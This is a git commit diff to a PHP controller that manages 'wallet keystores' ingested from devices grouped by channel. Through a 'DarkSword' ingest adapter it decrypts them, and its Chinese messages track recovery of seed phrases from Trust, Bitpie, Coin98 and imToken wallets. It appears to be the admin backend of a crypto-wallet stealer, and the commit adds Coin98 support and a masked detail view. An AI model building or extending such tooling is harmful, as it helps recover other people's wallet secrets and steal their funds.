fix: keystore

This commit is contained in:
hashbro
2026-09-20 06:15:26 +08:00
parent 2625707aed
commit 2a41a29310
29 changed files with 1972 additions and 66 deletions
@@ -51,7 +51,7 @@ class KeystoreController extends Controller
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$cols = array_merge(WalletKeystore::listColumns(), [
$cols = array_merge(WalletKeystore::listColumnsLight(), [
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
@@ -60,18 +60,33 @@ class KeystoreController extends Controller
'limit' => $limit,
'mem' => memory_get_usage(true),
]);
$paginator = $q->paginate($limit, $cols, 'page', $page);
// Two-step query to avoid MySQL "Out of sort memory" (HY001):
// LENGTH(raw_json) in the select list forces MySQL to read large
// blobs during the ORDER BY sort, overflowing the sort buffer.
// Step 1: get paginated IDs (no blob access).
// Step 2: fetch light columns for those IDs only.
$total = $q->toBase()->getCountForPagination();
$ids = $q->toBase()->forPage($page, $limit)->pluck('wallet_keystores.id')->all();
$rows = count($ids) > 0
? WalletKeystore::query()
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
->whereIn('wallet_keystores.id', $ids)
->select($cols)
->get()
->sortBy(fn (WalletKeystore $row) => array_search($row->id, $ids))
->values()
: collect();
Log::info('keystore.list.data.page', [
'total' => $paginator->total(),
'ids' => collect($paginator->items())->pluck('id')->all(),
'sizes' => collect($paginator->items())->mapWithKeys(
static fn (WalletKeystore $row) => [$row->id => (int) ($row->raw_json_len ?? 0)]
)->all(),
'total' => $total,
'ids' => $rows->pluck('id')->all(),
'mem' => memory_get_usage(true),
]);
$portal = $this->portal();
$data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) {
$data = $rows->map(function (WalletKeystore $row) use ($portal) {
return $this->rowPayload($row, $portal);
})->values();
Log::info('keystore.list.data.done', [
@@ -83,7 +98,7 @@ class KeystoreController extends Controller
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'count' => $total,
'data' => $data,
]);
}
@@ -122,6 +137,45 @@ class KeystoreController extends Controller
]);
}
/**
* Return the full keystore raw_json with sensitive fields masked,
* so the admin can inspect the plaintext structure (wallet names,
* addresses, timestamps, version info, etc.) without exposing
* encrypted blobs or private keys.
*/
public function detail(WalletKeystore $keystore)
{
if (! $this->keystoreAllowed($keystore)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$len = (int) WalletKeystore::query()->whereKey($keystore->id)->toBase()->selectRaw('LENGTH(raw_json) as n')->value('n');
Log::info('keystore.detail.start', [
'id' => $keystore->id,
'raw_json_len' => $len,
'mem' => memory_get_usage(true),
]);
$masked = $keystore->maskedDetail();
Log::info('keystore.detail.done', [
'id' => $keystore->id,
'raw_json_len' => $len,
'mem' => memory_get_usage(true),
'peak' => memory_get_peak_usage(true),
]);
return response()->json([
'code' => 0,
'msg' => '',
'data' => [
'id' => $keystore->id,
'source' => $keystore->sourceLabel(),
'decrypted' => (int) $keystore->decrypted,
'kind' => $keystore->kindLabel(),
'detail' => $masked,
],
]);
}
public function decrypt(WalletKeystore $keystore, DarkSwordIngestAdapter $adapter, DsKeystoreDecrypt $decrypt)
{
if (! $this->keystoreAllowed($keystore)) {
@@ -166,6 +220,7 @@ class KeystoreController extends Controller
'utc' => $counts['utc'],
'passwords' => $counts['passwords'],
'entropy' => $counts['entropy'],
'coin98' => $counts['coin98'] ?? 0,
],
]);
}
@@ -186,9 +241,11 @@ class KeystoreController extends Controller
'kind' => $stats['kind'],
'item_count' => $stats['item_count'],
'summary' => $stats['summary'],
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']),
'items_url' => route($portal.'.keystores.items', $row->id),
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
];
}
@@ -201,6 +258,7 @@ class KeystoreController extends Controller
$utc = (int) $counts['utc'];
$passwords = (int) $counts['passwords'];
$entropy = (int) $counts['entropy'];
$coin98 = (int) ($counts['coin98'] ?? 0);
if ($utc === 0 && $passwords > 0) {
return '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密';
}
@@ -217,8 +275,11 @@ class KeystoreController extends Controller
if ($entropy > 0) {
return '有 Bitpie seedPhraseEntropy,但未能还原助记词';
}
if ($coin98 > 0) {
return '有 Coin98 WALLET_SECURE_BACKUP,但未能解析助记词';
}
return '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy)';
return '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy,Coin98 需要 WALLET_SECURE_BACKUP,imToken 需要密码)';
}
private function keystoreAllowed(WalletKeystore $keystore): bool